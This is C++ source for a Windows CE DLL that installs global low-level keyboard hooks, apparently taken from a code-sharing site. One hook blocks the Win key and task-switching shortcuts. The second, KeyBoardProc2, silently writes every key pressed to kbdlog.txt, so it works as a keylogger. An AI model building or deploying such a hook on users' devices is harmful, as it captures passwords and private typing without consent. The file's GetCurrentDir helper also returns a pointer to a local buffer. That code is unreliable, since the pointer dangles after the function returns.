📄 keybdhook_ce.cpp
字号:
// KeybdHook_CE.cpp : Defines the initialization routines for the DLL.
//
#include "stdafx.h"
#include "KeybdHook_CE.h"
#include <pwinuser.h>
#include <winuser.h>
//告诉编译器将变量放入它自己的数据共享节中
#pragma data_seg("KeyHookData")
HHOOK hKeyHook, hKeyHook2;
#pragma data_seg()
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//获取程序当前路径
TCHAR *GetCurrentDir()
{
TCHAR szFileName[MAX_PATH] = {0};
int nIndex;
TCHAR szDirName[MAX_PATH] = {0};
DWORD dwNameLen = ::GetModuleFileName(NULL, szFileName, MAX_PATH);
if(dwNameLen == 0)
{
return L"No Directory";
}
else
{
int nLen = _tcslen(szFileName);
for(int i=0; i<nLen; i++)
{
if(szFileName[i] == '\\')
nIndex = i;
}
_tcsncpy(szDirName, szFileName, nIndex);
return szDirName;
}
}
//记录键盘事件
void SaveLog(char* c)
{
CString sFileName;
TCHAR *szFileName = GetCurrentDir();
sFileName.Format(L"%s\\kbdlog.txt", szFileName);
CFile file;
if(!file.Open(sFileName,CFile::modeReadWrite))
{
file.Open(sFileName,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,strlen(c));
file.Close();
}
//
// Note!
//
// If this DLL is dynamically linked against the MFC
// DLLs, any functions exported from this DLL which
// call into MFC must have the AFX_MANAGE_STATE macro
// added at the very beginning of the function.
//
// For example:
//
// extern "C" BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // normal function body here
// }
//
// It is very important that this macro appear in each
// function, prior to any calls into MFC. This means that
// it must appear as the first statement within the
// function, even before any object variable declarations
// as their constructors may generate calls into the MFC
// DLL.
//
// Please see MFC Technical Notes 33 and 58 for additional
// details.
//
/////////////////////////////////////////////////////////////////////////////
// CKeybdHook_CEApp
BEGIN_MESSAGE_MAP(CKeybdHook_CEApp, CWinApp)
//{{AFX_MSG_MAP(CKeybdHook_CEApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CKeybdHook_CEApp construction
CKeybdHook_CEApp::CKeybdHook_CEApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CKeybdHook_CEApp object
CKeybdHook_CEApp theApp;
extern "C" KEYBOARDHOOK_API void InstallHook(void)
{
if (!hKeyHook)
{
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, theApp.m_hInstance, 0);
}
}
extern "C" KEYBOARDHOOK_API void UnHook(void)
{
if (hKeyHook)
{
UnhookWindowsHookEx(hKeyHook);
hKeyHook = NULL;
}
hKeyHook = NULL;
}
extern "C" KEYBOARDHOOK_API LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
BOOL fEatKeystroke = FALSE;
PKBDLLHOOKSTRUCT p = NULL;
if (nCode == HC_ACTION)
{
p = (PKBDLLHOOKSTRUCT) lParam;
switch (wParam)
{
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
fEatKeystroke = (p->vkCode == VK_LWIN) || (p->vkCode == VK_RWIN) || // 屏蔽Win
// 屏蔽Alt+Tab
((p->vkCode == VK_TAB) && (GetKeyState(VK_MENU) != 0)) ||
// 屏蔽Alt+Esc
((p->vkCode == VK_ESCAPE) && (GetKeyState(VK_MENU) != 0)) ||
// 屏蔽Ctrl+Esc
((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0));
break;
default:
break;
}
}
//CHAR buf[100];
//sprintf(buf,"%x ", p->vkCode);
//SaveLog(buf);
return (fEatKeystroke ? TRUE : CallNextHookEx(hKeyHook,nCode,wParam,lParam));
}
extern "C" KEYBOARDHOOK_API void InstallHook2(void)
{
if (!hKeyHook2)
{
hKeyHook2 = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc2, theApp.m_hInstance, 0);
}
}
extern "C" KEYBOARDHOOK_API void UnHook2(void)
{
if (hKeyHook2)
{
UnhookWindowsHookEx(hKeyHook2);
hKeyHook2 = NULL;
}
hKeyHook2 = NULL;
}
extern "C" KEYBOARDHOOK_API LRESULT CALLBACK KeyBoardProc2(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = NULL;
if((nCode == HC_ACTION )&& (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))
{
p = (PKBDLLHOOKSTRUCT) lParam;
//CHAR buf[100];
//sprintf(buf, "p->vkCode = %x ", p->vkCode);
//SaveLog(buf);
switch(p->vkCode)
{
case VK_ESCAPE:SaveLog("ESC ");break;
case VK_F1:SaveLog("F1 ");break;
case VK_F2:SaveLog("F2 ");break;
case VK_F3:SaveLog("F3 ");break;
case VK_F4:SaveLog("F4 ");break;
case VK_F5:SaveLog("F5 ");break;
case VK_F6:SaveLog("F6 ");break;
case VK_F7:SaveLog("F7 ");break;
case VK_F8:SaveLog("F8 ");break;
case VK_F9:SaveLog("F9 ");break;
case VK_F10:SaveLog("F10 ");break;
case VK_F11:SaveLog("F11 ");break;
case VK_F12:SaveLog("F12 ");break;
// 0~9
case '1':SaveLog("1 ");break;
case '2':SaveLog("2 ");break;
case '3':SaveLog("3 ");break;
case '4':SaveLog("4 ");break;
case '5':SaveLog("5 ");break;
case '6':SaveLog("6 ");break;
case '7':SaveLog("7 ");break;
case '8':SaveLog("8 ");break;
case '9':SaveLog("9 ");break;
case '0':SaveLog("0 ");break;
case VK_NUMPAD1:SaveLog("NUM1 ");break;
case VK_NUMPAD2:SaveLog("NUM2 ");break;
case VK_NUMPAD3:SaveLog("NUM3 ");break;
case VK_NUMPAD4:SaveLog("NUM4 ");break;
case VK_NUMPAD5:SaveLog("NUM5 ");break;
case VK_NUMPAD6:SaveLog("NUM6 ");break;
case VK_NUMPAD7:SaveLog("NUM7 ");break;
case VK_NUMPAD8:SaveLog("NUM8 ");break;
case VK_NUMPAD9:SaveLog("NUM9 ");break;
case VK_NUMPAD0:SaveLog("NUM0 ");break;
// A~Z
case 'A':SaveLog("A ");break;
case 'B':SaveLog("B ");break;
case 'C':SaveLog("C ");break;
case 'D':SaveLog("D ");break;
case 'E':SaveLog("E ");break;
case 'F':SaveLog("F ");break;
case 'G':SaveLog("G ");break;
case 'H':SaveLog("H ");break;
case 'I':SaveLog("I ");break;
case 'J':SaveLog("J ");break;
case 'K':SaveLog("K ");break;
case 'L':SaveLog("L ");break;
case 'M':SaveLog("M ");break;
case 'N':SaveLog("N ");break;
case 'O':SaveLog("O ");break;
case 'P':SaveLog("P ");break;
case 'Q':SaveLog("Q ");break;
case 'R':SaveLog("R ");break;
case 'S':SaveLog("S ");break;
case 'T':SaveLog("T ");break;
case 'U':SaveLog("U ");break;
case 'V':SaveLog("V ");break;
case 'W':SaveLog("W ");break;
case 'X':SaveLog("X ");break;
case 'Y':SaveLog("Y ");break;
case 'Z':SaveLog("Z ");break;
// OTHER KEY
case VK_UP:SaveLog("UP ");break;
case VK_DOWN:SaveLog("DOWN ");break;
case VK_LEFT:SaveLog("LEFT ");break;
case VK_RIGHT:SaveLog("RIGHT ");break;
case VK_TAB:SaveLog("TAB ");break;
case VK_MENU:SaveLog("ALT ");break;
case VK_SHIFT:SaveLog("SHIFT ");break;
case VK_CONTROL:SaveLog("CONTRL ");break;
case VK_RETURN:SaveLog("ENTER ");break;
case VK_CLEAR:SaveLog("CLEAR ");break;
case VK_DELETE:SaveLog("DEL ");break;
case VK_CANCEL:SaveLog("CANCEL ");break;
case VK_CONVERT:SaveLog("CONVERT ");break;
case VK_DIVIDE:SaveLog("DIVIDE ");break;
case VK_END:SaveLog("END ");break;
case VK_FINAL:SaveLog("FINAL ");break;
case VK_HELP:SaveLog("HELP ");break;
case VK_HOME:SaveLog("HOME ");break;
case VK_INSERT:SaveLog("INSERT ");break;
case VK_KANA:SaveLog("KANA ");break;
case VK_KANJI:SaveLog("KANJI ");break;
case VK_MULTIPLY:SaveLog("MULTIPLY ");break;
case VK_PAUSE:SaveLog("PAUSE ");break;
case VK_SPACE:SaveLog("SPACE ");break;
case VK_LWIN:SaveLog("LWIN ");return true;break;
case VK_RWIN:SaveLog("RWIN ");break;
case VK_CAPITAL:SaveLog("CAPITAL ");break;
case VK_PRIOR:SaveLog("PRIOR ");break;
case VK_NEXT:SaveLog("NEXT ");break;
case VK_BACKQUOTE:SaveLog("` ");break;
case VK_HYPHEN:SaveLog("- ");break;
case VK_EQUAL:SaveLog("= ");break;
case VK_BACKSLASH:SaveLog("\\ ");break;
case VK_LBRACKET:SaveLog("[ ");break;
case VK_RBRACKET:SaveLog("] ");break;
case VK_SEMICOLON:SaveLog("; ");break;
case VK_APOSTROPHE:SaveLog("' ");break;
case VK_COMMA:SaveLog(", ");break;
case VK_PERIOD:SaveLog(". ");break;
case VK_SLASH:SaveLog("/ ");break;
default: SaveLog("other ");
}
}
return CallNextHookEx(hKeyHook2,nCode,wParam,lParam);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -